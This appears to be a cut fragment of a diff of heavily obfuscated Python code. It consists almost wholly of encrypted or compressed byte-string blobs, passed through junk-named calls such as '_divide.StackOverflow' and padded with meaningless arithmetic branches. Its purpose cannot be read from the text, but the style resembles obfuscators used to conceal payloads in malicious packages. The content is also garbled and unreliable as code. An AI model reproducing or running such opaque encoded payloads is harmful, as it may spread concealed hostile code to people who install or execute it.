*jc\xeb\x14\xab\x97\xec\xc3\xaf\xa3\x90d;\x9eGOu\xcc\xaf\x19\xd7\xafK\xc7\xb5\xebW\xed\x8f\xed\xcd\x83y\'5\x8f\r\xe1\xc4!\xa0\xee\x95\xe6\xb4\xbd\x1c\\L\xb0\x92\x18\xa38@\x96\xf3\x02\x1d\\\x1a\xb5\xf3]\xb8)\xbe\xb5`\xa5\xd4\xae\xa5u\x17\xee\xa1\xb6#4l\xe7m\xbd%P\x1b\x11Y\xa7\x1ct\x06BIy\xa3v\xbe\xc9A\xee\x10\xa8\x14\x95)#I\x0639\x18j;*\xae\xc6S\xd00Z\x04X\x1as\x91K\x8c5\xe9R\xfc\xbcA\x86\xd0Q\xba[d\x94\x9e\xdc\x10kN$\x0c\xa3\xdeI0*\x87\xf1E3\x11\x8c\x1a\xb5\xc7Q\xc5\x13\'EvO\x14\xb3\x81\x801f\xea\xb4\xa1\xb6\xd1xu\x9a\'+]\xe5\xf1YW\xf6c\xcc\\\x8f\xf2\xfb\x04\xb5)\x03\x91( dU"e\x93\x04P\xd4\xeb\xce\xd65m\xa9x\x1aF\xa9\xa80\xac\x9d\xf1\xa4\x04Aq\xda\xac=A\xcc\x8ds!}\x97\xf0\x1a\xa2\xd0EdXY\xd9\xa7\x9a\xe9PM\x08\xda3&\x16\xfc\xc5\xaa\xbb\xf1\xfb\xf0}_S\x8b\xe1\xf7KX\xf0w\n\x00/m<:U\xc6\xa13\xd6g\xd2\xab\xed\x02\xd6gS\x82\xa1\x87\x04[\xef\xc0q9\x0b\x1cW\x85\x8f\xcb\xeb\xa1\xe3\xce@\x82\xf8U\x9b1\xd1\xf3\xf7\tH\xecHb\xe6\x064nJ\xe4\xea\xf5\xc29_8\x12\xbbP\xd7\r$\xff\x0f"\xb1\x83O\x8a\xcab\t\xcf\x0b\xfb\xcaH\xef\xd2\x92\xf3.P\xb1\r\xd2\xbcz0\xe2\x96x\x15n\xd0a\x1e\x8c\xb8-(1\x8f\x83\xa1\xe2s\xd1\x89t\xfb\x055\xa3\x12\x91/\xd1yx\x0b}Y\x92;/\xf7\x1cY\xb9\xdaX\xb7\x1bU\xf2k\xaar\xb6\x99\xe6\x96\xe3\x1f\xc3\xf1\x0cc1\xa6\x98\xb8/\xc2, \x85\xe1\xe7\xf4\xe9f\xed\t\xc2\xe7\x06t1\xe6.\x12\x14,\x86\xbcBrQw1\xeek;"\x1b9\xd7\x19\xbc\xb1\xa6\xf5\xa5\x8d\xfd\t\xa20\x84\xb5\x99_]\x9a\xbc\x8f\xa9\x95Be6\x8e\xb8l\xd6\x9e\x8a\x99\x0c\xab56\xfe\xf1\xc6p\xd8\xc4\xf7IP\x18\xda\xa8=[\xd7\x89\xa7\xc7uj\xbeS\xa4\n\xa8\xd2DA\x02\xb2\x9d>\x82\xc4b\xe0w\xa4\xa7\xa5\x12\x9a\xd34\xe9\xc7$\x9e\xd7\xe7\x04\xf7R\xd2|Y\x06\xf5\xb0\xa6%\x1a\xfd\x9a\xcf:*\xf0W&\x08\xafq\x02 3~\xaa3n\x00c\xc2\xf3\xd6?\xb0,T)\x9e\xd7\x8c\xeb\xe5\x9e\x9b\xe6\x8cY\x16\xaa_\x1a*\x0e\x97\x97\xc4.4\x96v\xb3uzo\x9b\xb8=\xc1\xdf\xae\x8a\xb4Q\xedQ\x04\x0e\x1e\x87\x03>\xe3]!\x9ao\xba\xabY\x8cl\xb9&\xcc\xd9w\xdfu\x9d\x80\x17\x99\x00VA\xc2\xdb\x14`\x91\x98\x15j\xab\xebR\x15\xa5\xe0g\x16e@\tBTzz\xbfe\xe0\x82\xaen\x96\xf7\x92\'"n\xa8\xf4\xee\x95rn\x9f\xf1\xf7\xbf#\xaf`&\\\xae\x89\x97\xed\xb3T{\xf5>$\x98\xb1\x82h{\x9d\xd2\xffX\xdakH#\x96\xee\x82\x1az\xf7\xac\xc6\xafW\xfc;\xd5V\\\xbdm#\x1a9\xd7k\xd9\xd8w\xec\xb8\xbf\x17,d[(/\x8fKr\x8b\xc8\xaf\xb6\xb7_\xe3{Ajj\xfe.\xcbB\x89\xe4=\xdeT\x10T\xdc\x96\xfe\x84\xea\xa5)\xd21\xf7\xb9\xab>\x81\xedN\x98w\x94\xd8/\x89\x86\x90\xdbF/5`d\xd4S\xe4\x820\rE\x02\xe2[\xfa\xf4\xbd5\xef\x1d7k\x85\xdb\x97\xe6\xbb\xf5\xcdK\x1cL\xee\xde\x9br\x8f\x04\xf3\x95\xfb\xf7Z\xfa\xf4D\x959\x83?UU\xc7\x9fz\x1b\x0c\n\xa6\xc8V\x9b\xfd\xe1\xde\xb1\xf9\x14\xb0w\x8b\x12\x86:\x8c\xe46\x19hn\xd3\x87\xea6,\x0f}\x95\x9b~]\xe2\xc1\xb5\x17\\q\x05\x1a\x9fYf\xd53\xb3?\x1f\xb5\xb6\xf5\xf5\xe2\x98\xb1h\xf6\xdex\x98\xf4\xe9\x81]\xc3\xb6\xa4\xcb\xf2\x84\x8e\xa7I\xda{\xe6\x1a\xb3h\xe1\xeb\xb6{\xff\xb6>i\x8e\n\x9f\xf5ft\x86W \x9f\xd5w.F\xc9\x1c\xfc\xc5\xdc\x86j\x84m\x07\x06e\xad\x9b\xda\x0f\x83\xf3\xea\xeb\x8e\x8bc\xeb\xc7\xee\xf5\xc7\xd1\x16\xd3iT\xde#\xa4\xa4\xac\xa0\x87\xa0\xa5\xc2\x8e\x04am\xbd\xe2\x1f\xfb\r\xe6A\xff\xfbO\xc9[\x14v\x16p\xa8u1L\xf5f\x15\xcc\xb5\xd2$\xe5\x88\xad-\x7fQ\xb0\xd1\xab\xea\xd6v\x8c\x87\xfb\xc5\x1fc\xf9F\xed\xeb\xee\x81\x92\xe6,g!\xd1\xa0\xd5\x8cl{\xeb\xf1\xae\xd8\x1e\xf0\xe0X\xa57-\xd2wA)\xf2u\tI\xa4\xae\'U~]\x9dOs\xa2\x1dK\xe8\xf1J\xe1;Nn\xad\x8czke\xd6\xfa\x0e\xc9m\x9a\x89T\xaf\x9eJ\xe5I\xd6\xa0\xc9@/ Pc\x90\xa0\xc5X\x82\xb6p }O\xb0\x0e]\xc3\xec\xb1T\x19\xba|A\x9b\xc2\xba\x8b\t\xa8S\xc6\xd5\xae\xeb\xbc9\x97\xe0q\x8avz`A\xa8 \x91$^\x9f\xeeE\xf7O0\n\xb50\xcerB(#*e\xf49\tR+\xf1\xaad\x02T+^\xb5\xa3c1S\xf5]\xd5\x9bm?T\x9c\nS\xb6\xad!\xb9\x03\xd9\\\x07\xd6\x84\x8c\x12\xc3@\nu}N\xe9\xb3;lS\x1d\x03G\xac\x9a\\\xa9\xe5\x8bL\x1f3~\xa9\xe4\x8e\xee\xe4\xf9\xd0G\x15v\xae\xb0w;\x95<<\xff\xc7\xf3\xa4\xe7C\x13\xb9}\xb7c}\xc7\xfaw\xb0\x0f|(\x9epc\xefC\xc9\xb5K!HyR\xaaK*UI\xc2T(X3\xfc\xd6\xcb\xc4\xaa\xed~\xef\xb1Q\xdcN\x8f\xf9\x8b\xc48\x16\x1b\x0bir\x086\xd8\xbc\xb0\x11\x18\xf9j\x00\xbf\x1d\xf3\xbb\xbf\xc3*1N\x1a:\x9fG\xe7\x10\x15') - if 442382 > 8852422: - _divide(_algorithm = 99900 * 16186).Cube(_memoryaccess = 65542 * _absolute.While) - elif 274224 < 522056: - _absolute.Cube(_memoryaccess = -825 - _absolute.While) ;_divide.StackOverflow(CallFunction='NMMMMMMMNNNNNMNNMNMNN',_round=b'\xbd\xa0\xf7\x14\x86\xef\xcd\x8d\xbcl\x0c]tN\xb4\xe7\xb1\xe9\x91.\xd9U\xac\xdd\xe4T\xf2\xe8\x10\x0f\xe9\xf3\x8c!\xde\xef \xf9\xe3\xc4x\xf7\x1c\xe4\xd01\xf3e\xd7\xfc\x19\xea\xefidI\xd3\xf3\xb7ceI\xae}\x8a/#\xf2m\xbb]\x9b\x16\x7f\xceq\xf5 \xee\xbd\xce}\xbc\xb7dy\xde76\xbe\xc5k\xab\x90\r\xfb4p1=\xde\x1d#Sj\xc8\xdd|\xfa\xdcM.}\xee\xd6\xf7\xf3.\xcd\xfe\x0c\xe4\xd0q4]?-;\x9e\x17i\xda+U\xfdR\xf1\x1dm{\xa6\xfdl\xad\xa7\x97\xd7>\x0f\x9ebz\xb9\xfd\x17~\xe2T\xfc\x84r\x9e\xe3>\xd7\xf2\x01\xeeu!\xfe \xe6\xfa\xff\xcdt\xff|2\x9fs\xf4\x07:G\xdapj\xb9\xe8s\xee\xfb\xb9e\x90S\xcb\xe0\xa7\xec\xff)\xf8\xd0\xfd\xfcrC\xfa\xac\xbe\xb9\xb8\xde\x9f\xbf\xdd\xea9\x8e\xf7.:&\x8e\xc6\xe9\xa6\x19\xc6\xe9\x1b\xa7n\x9b\xe7\x82\xef\xbb\xbee\x8c\xdc\xfdP\xbb\xf5~8\xc9\xab\xe3\x10\xddpz\xdb\x99\xf3\xd3i\xf6?\xbb\x8f\xaf\xeb\xa7\xad\xado\x95\xf2\xdb+ \x8b\xf3S\x8c\xad\xe1P[\xd7\xfe\xbd&FM\x053\x86\xe6\xec\xb5Q\xe8\xfa\xae\xae~\xe0\xf3\xe3\xe8\x87.\xdb\xf6.\x19Wx\x0e?G\xdc\xd1\xd5\xdf]\xf0\x10\x82\x8bC\xfb\xd7\xa5\x11\xfapR\x17^\x0e]\x17/\x1f\x9a\x7f\x8e>\xcb\xf1~\x14\xd9\xd34p1\xa7\x9d >\xc3\xc6\x84\xa9||\x8dL\xaa\xb2\xdd\xeb\x9b\xc7\xcc\\\xc2\xf7\t\x8d\xcf\xd0\x98\xec\x1a\xc3\xa1\xebF\xd8V5\xe4\xab\xd3\xfa\xc7\x9e\x87\xcec~9f<\xae:\xfc]\xf6\xa7?\xc6?\xeb\xfc\xeca\xe7\x97\xcbO\xd5\xd7\xc3tl\x9f\xfck\xbc\xfd\xebT~\x03\xe7\xe835\x87.(\x8eO\xb1\xf0V\xf7]\x7f\xbc\xc4\x1a\x0eT\xd5\xc7M\xbe{\x18~\xfay\x9c>9\xe6X\xbf\xfes\xb6\xb9\x9b\x97\x8e9-\x9f\x18\xc7\xbb\xb4\xf9\xf2\x10m\xdb\x97B\xfc\xb9-\x1b\xa3#\x9fZgt\x9e0\xf1\x05\xc7\xf4\xe1\x18\xbe\x9f\xa1k)\xcf\xb1K\xb9_\xecy\xc1\xe3?\xb31\x13\xed\xdc\xcb\xcf\x97\xa6\x0e\xd7c\xbdoL\xcc\xd3\xb9dU\xb1p8+/=\xab\\?\x0c\x7f\xe3e\'\x87\xcb\xaf\x86\xfb\xb8\x8f.\xe8\xe2\x05\xdatCl\x9f\xce\x89K\xa6\xa6\xc9\xba\xe7\xfb\xb3\xc6\x1f\'_#\xccD\xd3\x96\x18o\xdb\xc4\xdc\xe6D\x7f\xb6\xc4\xc6\xdf\x96G\t\x1f\x1f\x17\xaa}\xdcza\x87,\xd6m\xd7\xf5I\x9d\xa5p\xec\xe2\xd7\x89]9\xcbYGx\xa8\xae\x1c\xb3^\xd8\xe9\xd6\x86\xfd\x12\x97\xfe\xa0\xb8\xf4\xa7\xf1\xd7\x9f\x13gw\xf3\xa2q|j\xb7\xac\xa5\x92!\x9d\x1a\x1fJ\x18\xa5\xb6O1\x8f\x89K8q\x89-\xe53\xcfpI\x8d\x8b\xab\x82\x16\x12O\xee\xe4]z\xa7 \xafi\x91\xf1\xb2]z\xbc\xc5N\x8e\xb7\x1e\xda,\xeb\x07\x15\x02`V?\x00^\xcc\xd4Z\x00\xb4\xaa{\x82a(\xcb\xa5^\x03D\x97t.\x11\xb8\x1a\xd0\xd8\xf5\x86\x9a\xcb\xa4\xad\x9cT\xaf\xee\x89\xbfxw~\xc2"s\x17\xed[;\xcbv\xbbG\xbc\xde\x10_\x81dw\xaa\x12]\xdf\xa3\x14\xf4|\\\x96\xb1\xb1_*\xbba\xbe\x10\xf5ZF\xda\x99{\ngm\xa3\xfa\xbc\xbd\xbb\xfb\xa60\x9a2\x83E\x95Y\xf2\xdb.\x0c^\x95U\xa5\xce;\xdb\xeb\x05\xb4;\xa0\x0e\x9dKl\xf7\x0c\x92\xc8\xd7pU\xa9$\xa0\xe2\x9c\xda\x08z\x02\xae\x94:\xc1\x1a\xaa\x80_\xfb\x8d\xdcw\x88\xd5\xa1\xe7\xb06\xf5$^\x91h\xba\x97.\xa8\x1dR\xa8\x83\xe7\xe1\xdc@\xff\xba-XV\x0bR\xda\xbe]V\xbf\x0bga\xca\xd8\x85.\xc3\x1b\xb6B\xb3\x17t\xa3/\xf8\xa8\xd9r\xe6:\xb3\xf8&/\xb8Y\x9a\x1c/\xbe\xb9l\x94\x00u\xe3\xb5\x8b\xff\xad\x0b\x0f\x8a\x9b\xf9zIN\xfc\xd6&U\xa2\x03_ns}\xdf\x1c\xfb\xc4\xe0\x97\xd3\xf7,U\xae\xdco\x98\x0f\x1a\xec\x13\xd6\xce\xc2\x87\xf5\x18\x0e-\x8bh\xcb\x0e\x1ba\xa1v\xabW/\xab\x173\xe5c\x9bwkd\x01\xc81_#\x19\x0741\x84-\xb3\xdbR\xf5\xc3\x8em\x99qx\x00\xb0b\x85\xe1\xec\xef\xbaZ\xa2t\xd5\xc0sx\x1c\xd3.\xb1\xa3\xb5\xab=\xda0e\xbf\xad\x00\\\x84\xd8u\xd9\x03-@7k\xc4e\x8c\xb5\x84.\x11\x0e\xa1F\xa6\xf1|\xf8\x9d\x11\xc3\xd8y\xc4}\xc7z\x0e\xb1g\x16\xa6\x16bl\xfbEK:.M~Y}\xb7\xbdGY\xddy\xa8\xf5\xdc6\x187\xf3\xc4\xb6"\x9f\xbb\x87\x91\x87m#\x06\xdf\x88\xc6Z\x0b:V\r\xf8\xa8\xcb\xc7\xcf\xb1\xfbn\xbc\x16`s\xfc\xba\xe3\xda\xc5\x7f\xdd\xad\xe4\xdf\xb1\x9e\x03\xa1\xd5\x00^\x92\x1c\xe1\n\xb80,\r\xcc|}\xadv\x8f\x98M\x17\x04\x91\xfb\xe3\xba\xd0\x9d\x8b\x06\x8eob\xb2*7)\xb6\x8bi;\x8b\xb3\\\x8cUc4\xdc\xe2\xfb\x01G\xb0la7\xbf\x1d\x9a+D\xf2\xbe\xc6\xbc\xf5~\xfcJ\x93\xfb\xb7B\x85k\xa5\x93\x93\x8d\x9c\xac\xce\xc96%\x16\xbe\xef\xb8\xf1\x1a\xdf.\xfcV,\xa3\xb2o\r\x98\xd3H\xb2\x1ar-\xc5%S@Js\xb6\xf4\xfb\xa1\xee\x85Xh\xa9G\x1a\x8e\xd0\x078\x8aiS\xa0\xb4h\xa1\xf4\xa5\xb4\xfb\xd2$K\xabY\x1anIK\xa8\xdb% u\xb5\x10\xa46\xcbB\xba\x0bFr\xe9!\xad\x13K\r\xc4}c\xae\x16\x80\xc7\x10\xcb\xb8\xf8H\x1axB\xba\x0c\xe7\'\x05\xb4\x85\xdb\x8a\xfd\xf7\x8c\xc3?\x87P\xe21\xed\xb4p\xfa\xa9\xacz\xca.|\xbft(\xef\x98\x96Zd\x06\xfa%\xd1O\xaa\x1a\xa5\xd2\x96V4\x15\x953\x95\x95\x98\xf6+\x94\xee\xecsl\xb1\x98\xb6\x98\x86\x9e\xef\xfbBw\xf47\xc7^=\xea\xfcQ\xd9\xdfv\x8b\xa4\xc6l\xb6],\x16\xa9\xdb\x0e\x13\xd2\xaemH\xeck\xb3\xb5CE4\x176\xf7K\x91\xb6oR\x17\xeb\x8e\xb4"\xdc0\xbe\xe5\xdcY\xac\xe6\xda\xeb9\xae>c\x8f\x86\xda\r\xa93\x1ey\x89@\x89\x01K\t\xac\xbc\xc2\xa5:KC_\xd6\xdc\x18I\x87\r%\x8c_\x8e\xb4\n\xb47\x95\x95\x1d\x90H4.\x8d\n\xf3\xae\xce8\xa9\xc7\xcd\xd2\x8c\x99\x85\xc1ySSs.\xb7\x19#\xb3\xe9\xa3o\xe7\xe62\xedS\xe2f\xabi\xf1\x1d\xb6S\x98\x9ftg\xf2\xfal_;\xc5H\x9f\x00\xfb\xb7\xda\xee\\\xc7\xe5\xe1\x1cf\r?\xab\x1c\x7f\xd3\xec\xdeH\xc1WF*\x0eP\x9a\xdd\xe7Z\xe4@\x85*Ud\xda\x814\xdc\xaf\x05J\xd9\xb1\xfdsRh\xb2\xdfhF\xba\xf1z%\\\xb4\xdaE\xeb\xbf\xc4h\xe1I\x0b\xaaH\x0bJ\xd7\xd9\x88V)\xe98\x14\xf9\x9d\xfa\xd7\x91/*\xec\xc9fYi\xb6oPv\xb5\x8c\xb8\xe7pt-\xa39\x1dx\xc6T\xef\xc9q\xfb\x02\xf7QV\xab\xa3H\xbb,L\xbd\xdc\x94\xe3y\x9b\xc7\xf3)\x9e7\xb6=\xa5yfi\xde\x07\xcb\x12\xa3=\xe6sh\x8f \xa8\x8e}\x9e\xcd\xb3\xcd\xb5\xa41C\xfe\xbeB(\xa2\x7f]\xcd\x93\x99\xad\xa4\xa1\x82q_\x88"\xf7\xe7\xe5\xe68\xafK\xc6\x8c\xa2\x91\xb4\xe7\x0c\xbc\xdc\xbe\xd2\xcec\x8c \xec\xb9T\xb9=\x9d\xb7\xa0\x07\xa1\xccB\x88\x85F\xdd\x80\xb4\xe7\x03\r5\xa7\xc5\x14\x14\xd1\x96\x99\xa1\xa2\x94\xa5\xa6\xe6\xe4\xd7\x98\xca\xf1\xe9\x98z\x96hr\xf7\x98;\x1dd$4\xde\xd9+\x82\xed\xbd\xbaz\xb8\t%\xcdk\xf3g\x03\x1d\xe3p\xc5\xd4tH\xdc\xfd\xbaa\xa1\x86g\xc35)\xc3\'\xc8\n\xde\r\xec\x0e\xcb\xb7\x9d\xf1bZ\xdeB\xbf\x1d\x0f\xd5\xd80#a.\xd9\xcf\xa1\x1a7\xff\x8bjz\xde\xf2IH\xa9j\x18\r\xf6\xccZ\xa0f\xd4\xe5\xa3j\x0e\xa2\x03n\x0c\x85\xb40\xf4\xb4K_/\x1c\x195kG\xe7k\xa7C\xe5=L\xc3\xf6\xcb\x16\xb1]\x12]B\xabY\xaa^\x12$\xf5\xf3\x98\xb1\xfc\xcd<\xd2\x8cZ\x87\x14\xdf\xea\xc3\\eX\xe6\xef\xb6c\x8d\xddk\xd9R3\xf7\\[\xd3\xd5[\xb9\xda\x89\xa6\x06c\xb8\x15\xc7`\xdcU\xb6\xcaXO\x9e\x99\x96B\xed\x80;:\x15\x8d\xbf\xae>\xd9G*\xb3_\xff\xc4R\x19s\xe9p\xa6\xd3\xd9p_\xaf\x1a\x9a\xa8UC+\xb5\xf2\xfa\x9c\xb6\xa8\x9e\xeaj\xbdB\x17\x95\xbc\xd7\x95\xf8\xd6\x92`\xe7\xdc,\xd2\xe2z\xce\xb1r6+\xa9\xac\xe7WK\xa3pn\xe0\x8b\x84\xc09\x86\xecm\xd6@\xaf\x8d\xd7]\xdc\xe7\xee\xcc\xc5\xed)Y\xcf\xaaQ\xda\xe2\xcf]\xfd\xad\x1f~\xcb\xf1Z\xd6\xe9i\xa0\xf1\xd6\x06\xfd\x9a\xd9\xe6|\xcf\xdf\x8f\xfai\xbf\xc5:-\x06N\xa0\x03\xe4\xd9\xca\xc5K\xfe\xbc>$\x8fb\xbe\xc0B\x98\xac\xec\xa3-\xfd\\YL\x1b:\x0e)j\xd4\xc2\xa2.\x10g\xb5\xb5\xa3\xff\x17y\x89ur\x99/e\x9e\xa7R\xc9\x1c\x8eQ\xdeT\xc2\xfd\x17\x01\xba\xc9\x1ew\xc1\xd98\xb9\xd6\xb4V\x13n\x1b\x8f\xa1\xda\xf6\xd5\xff\x87[o\xb8\x8d\x86\xe5\x05\xf3\xc8\x8c\x0f\x93S\x00g\xebXd5\xed\xb1\xdc\xd9}atF8O\xd4-\xd1\x05\xc9\x96\x97\xa9\xf4D*@\xf9O\xac7\x9c\xc2\xbaf\x95\x8f\x91\xc0\xdf\xe7h\xf9\x87GHiX\xcc\xde\r)v\xa6\x8c\xfd\xe2\xa9\xf9\x0e\xd2\xe4E\xd19\xdd\xd6G.\x9fQVz\x92\xb2\xa1_d\x9d\xe3:C\rk\xbb}X+\x13\xd2\xd1\xc6\x8e\xa2)\xa0\xe60\x8c\xcd\x14\x82;\x9b\xbb_\x9ai\xb4\xacR\xc4)\xb4\xbf\xdf\xbfO\xac\x0e\xe5P\xdc\xb1\xaf\x1d\n\x8e\n#Q\x90\xd5\xde\xf1H\xe0\x92\xfb\x1c\xa5\x12n\x1b\xe4*\xd7)I*\x9a\xed`[\xc7o\x87&\xe5[\xf7\xbf\xaf\xef\x9df\xe66\xd6\x04\xa3t~a\x1b\xcf8\xbe\nGCw\x0b\xd5c\x02\xb5q)\xe9=\xbb\xea\xfa\xd6\xc9\xa8\xbbl\xf6d\x9bg\xb5\xfbC1\xcaa\xba7\xe2\x83#,\xf7\x9a#\xcb\x87\xa5\xbe\x96q\xa1)\xde^\xe00\xeb\x82\xf6\x1c<\x04\x91~\x9b\xb4e\xbcm\x8e\xd7\xb7\x97m\xda\xd6\x16\xa4\xfeb\xab\x95n') + if 184085 > 3368238: + _while(_product = -28613 + 15257).Invert(_add = -28838 / System._memoryaccess) + elif 147772 < 6816288: + System._walk(Builtins = System._memoryaccess / 58448) ;_while.StackOverflow(_run='lIlIIlIlIIIlIllIIlIlll',_square=b'\x82W\xe7kF\xa1`u\xd0\\\xb7\x02\xde\xa9\xd00C\xebG\x915\xcft\xad$5#V.{\x94\xdc\xc0\xf5N\x86\xe1-\xfcV\xae\xd6\xb94:\xa1\x9e\x1fD\xf8\xcb\xabC\xc3\xc3x\x0e\xbf\x1b\x1eDZ\xc0(\xa52\xdd\xc84\x8d\xa5\x92\xa9>\x06\x95P$r\xfd\xfe\xb1\xe6\xb1\xdb1\xd4x\x83\xe6\x00R\xbc\x89:\x02ZY\xfc\x14\xf8\xc3k\x8a\xbf\xa49$O1\xef\xed\xc7\xc8\x9a\x87{\xc0\'\x8ah>\x9a\xea\xea\xc5\x00\x01\xd6\xd5:\xce\xa9V\x04\x8e\x93he0\x1f\x1fX\xf0\xa3\xa9C`\xc1q\xb4L+-\xe9\rC\xc3o~\n\xed\xc5\x1c\xaarH.\xec\'U\x1a\'\xb1\rGO\x0fK\x0c\xbb\xc6{H\xee\xe1\x85\xef\x8e(U\x1f\x96\xde\xb6r\x8b%\xf4\xba\xab_U?\x06\xba\xfd0\\\xa8w\xf6\xb3%h\x85lZ\xbd\xaa\x15\x8c\x1d\xd1\x8a\xe7\xbf\xae\x8d]\xd3\x83Pw\x13%\x85\xd5\x9d\xaa-\xbf\'?;$1\x1f\xbf6\x84^\xdf\xa6@}\x814\xbby\xb3\\\x18\x1d\xb4\xa6\xd84\xdd\xb6\x13\\>\xd4vO\xe0j\xc6\xc9\xa8CQ3\xad\xef?\x8a\xefo\xa7h\xe9Z\xae&\xdf\xbf\xbf\xdax\xa3\xf6\xbe\xdb9\x98e\xdbXC\xab\xbd\xf1&\xa1\xfe\xfd66cN\xd7u\x8a\x92\xde\xbfKa\x0c\xc1\x86\x18\xb4\xb3\xd0\x07`M\xb3+\xcfCO\xb5Y\x90\x94=\xec\x89\x11\xe6\xc9Z\xf8\xb3\x8f\xd3\xa1\xf75\xe7T\xc2\xe2\xd9\x0b\x1b\x03?N\x8c\xa1c\x9a\x98\xf0\x0f\xe6\x1dMl}\n\xbd\x97\xe25\xaax\xf96\xc6?n\xe9:\xf0\xbb\xa2\xb6,\x95a\x05\xe9y0\x1f@\xeali\x9f\x17\xd9\xb1\xdfv\\\xafw\xef_>\xc7\x02Kd\xf3}\xba\xde\xa9\xad]\xdb9\xd3\x87\xfc\xf9M~\x01c^\xd4\xf9nN\xc8\xc82\x1c\xa4-\x89\xcd\xa5\xe0\x1e\xc3\x96\xf6\xe9X\xb2z\xc9~\xa3\xf8\xef:\x9e\xc3-\xee\xbd\xddg\xe0\xf7h;\xc7\xdb\xf0\xfbC10Z\xb4\x17\x0c#I%q\xce1\xb8f\xe1*\xdd~\xaf\xfa\xbf{\x9e$\x98\x1fb\xc2<\xa9\xe5\xc2\x80k\x99\xf79\xc6\xd8\t\x0c\xcc\x922\\A\xcfH98\xf2\xda\xbd\xf8\xd8(V\xda\xc6\x8e\xd7\xd1~W\xbf\xb6\xc1\xac;\xd6m\xef\xdc\xd5?\xfc\xdcY\xc1hp\xbc3\x1eN1/J\t\xf3\xd59\x13b\xbag\x1dP\xb4\x1f\x95\xbf\xa7\xf5\x81\xf7I[8Z7L-o\xc7\xb7>\xf0\xc1\xc7\xd5\x85C7\xa4-\x1f\xa3\xc63\xf2g\xc5\xf9\xeb\x07#K\x87\xc6\x1dN\x82\xd0v\xdc\x15\x12\xbc\xed\x93{\xf5\xf3\x14\x182\xd7\xa8h\x8cr\xad\xb5\xb8P\xb0\xe4\xe6\xe3\xae\x0b\xeb]\x1f-\xd0FK\x8cY\x83\x87\xc7\xbf\x11\x8a\x99\x87W\xe6\xb0\xdc\x02\x83n\xc8\xe6F\x18\xe7\x118\xca-C\xc9>\xba\xf6;\x93\x81\xd8m\x9d\xa6\t\xdf\xdf]0X\xf5\xb7\xb28F\xf4\xc2\xc7\x10\xde\xea\x82\xa9T\x89\x06\xaej\x1d\x1fg\x9cT\xcb\xd8\xa6\xfa\x19|a\xe7\x18\xf3{*,5\xaf\x1d2QK\xee\xc0\x86\x0b\'\xb2\xa5\x8c\xe1\x0b\xa4\xc51\xfdp\xd5\xb6\x86u\xc1\x95/\x0c\xf6\xad\x8d\xc3p\xce\xd6\xb6\x804l\x08|\xe2\xe2\x16\x17_\xb4%\x1c\xa2s\xe72\xdeu\xda\xc1]\x8b\xfc`\x81\xd6\x9f%\xc5\xb6\x834\x07\xad=]\xa2\xd8\xda\xb1#\xa2\xad\x89b[\x82\x07\xf6\xf0\x93c\x8b\xc4\xe0\x86\xbc\xa4\xb6H\xb6\xe5\xf5\xa9So\xce\x19\xba\xb2\xabM_\xbd{\xff\xfao\x86\xe0\xa5\xc2\x13\x86\x961\xf9\xffr\xbb\xce\xf8\xc1K\x8a\x0eB\xe1i\x84\xa1u\xa6{\xbdY\x06\xa7\x9f#\xcc\x84J\x8a\xe6\x0b\'\xf5\xben\xc2\x0c\x06\xfbl\xa1\xfb9\xef\xd7W\xdf\xc6+\xb6\xb5\x1b;\x16.N9\xb7\xe7\x9b\xb2^\xfd\x9d\xe8_\x1f|4&\xe8\xac\x1f,\xa78V\xe4\xca8\x0b\xa6\xce\x88G\x1a\x03Csi\x1e\x17\xff\xb4]\xaf\x0b\xee\xdaJ\x08819j\x13K\xa7\xd6\xcf\xa3\xfc\x0f\xe9JU\xaeaF\xe5\xeb\x0f[&\x8fn\xdbu\x93\x92n\xaer\xe4FI\xa9RN\xba\xd4\xc3L\xb5L\xdb\xb6 \xc9VV;\x05W\x87\xe2\xfdB\xc1d\x8a\xb0C%c\xdb\x8c\x1d\xe7\xce\xb1\xbb\x9f\xb7\\\xc7\x14\x83\xcf\xc2\xbc\xf3\xd4\xfe\xee\x85A\x84\x8d\xa4\xe4\xb9\x88V7t\xba\xd3~\x02\xbdz.\xba\xa7\xb9ei\x19\xb5+s\xe7m\x95\xf3\x1b\xd9\xd2\x8e\xcaX\xbc\xe5\x8e\xbb\xc9\xdfM<\x97,\xf96\x03#\x85}\x96\xd4\x0b\xbf\xb5\xd1\xed\xfc\xda]0\x06t|\x1f\xeeo\xc3\xd7}\xb4F\xeb\xfa\xa1d\x89+\xcd{d\xf6\xd9l\xc0\xfc\xd1\xfd\xc8\xe1\x9c\xcb\x9cyZ5\x96j\xadM~\xdd\xd9\x8e\xcb\xb5\xe3\x05a\xbc\xc5\x94\xa8\xab\x8e\xd3\xa0|-q\xf9d\x87N=\xa6\x8em\xf2\xf8\xcd\x98\x13\x15}X}\x94\xf3\x8c\xbd:\x99\x99\xeb[\x03\x0e\x1bp6.\xdd\xdfR\xb0\xd6x\xee\x1e\xbef\xb2\xf9\xdcQ\xe0y\x1c\x9cU\xe3\x94\x94pS\x87)\xd2[\x03\xedVX\xfcH\xf86\xee\xc6-\xbc\xae\x86C\x92Z\xdbqs"e\xb0\x10jn\x9c\x97\x1c\xed\xa9\xe8\x08\xc6\xe3\xf2\x85\xe9\x95\x85\xc6\xf1\x98\xf3iX\x16\xd7\x95\xda\xb9o\xfc\xcd\xfe\x94y6\x95\xffo\x83\xe5\xc6\xd8\xf2\xb5\x88\xf1"m\xebQ\xad\x9d\xbb\x86\xd9\xfdc\xc1\xf11\xf8\xb3\xe5\xefq<\x98\x1e\x96\xdb\xf7\xd5\xb92\xe0\xeax:-\xdc\xbeF\xf32t~)X[\x86\xe6X\xden\xab\xbb\xdf\x9bk3\xad\xc3\x19\xae\xff~|\x9b*y!\xd9\xf8}\x17\xcf6\x15>\x96\xe6\xf3\x96\x83\x9d.\xd9\xb3\xabWm\xd3\xb9\xbar\x0b\xb2;]\xd4\xe5c\xa4<\x93l;\x88\x87\'<\x940\\3Fg\xd4\x85g\xaa\xdfN\x85\xa1\xa7\xa0ks\xcb\xb1x\xednxk\x83\xd5~\x98\x0e\rC\x02\x83A6\xf5t]\xc7.~\xeeZ7\xb8\x8c\x81\xcb\x07\\\xba\x96\xe3eW\xb6\xd6f\xef\xe8\xfe\xc6\xd8?\x83\xbc\xc8\xbc\x91)\x84\x87db\xfe\x0cV6\xdb41T\x9e\xb4m\xd3\x96z\xe83i\xcfI[_\xd8m\xc4~\x97 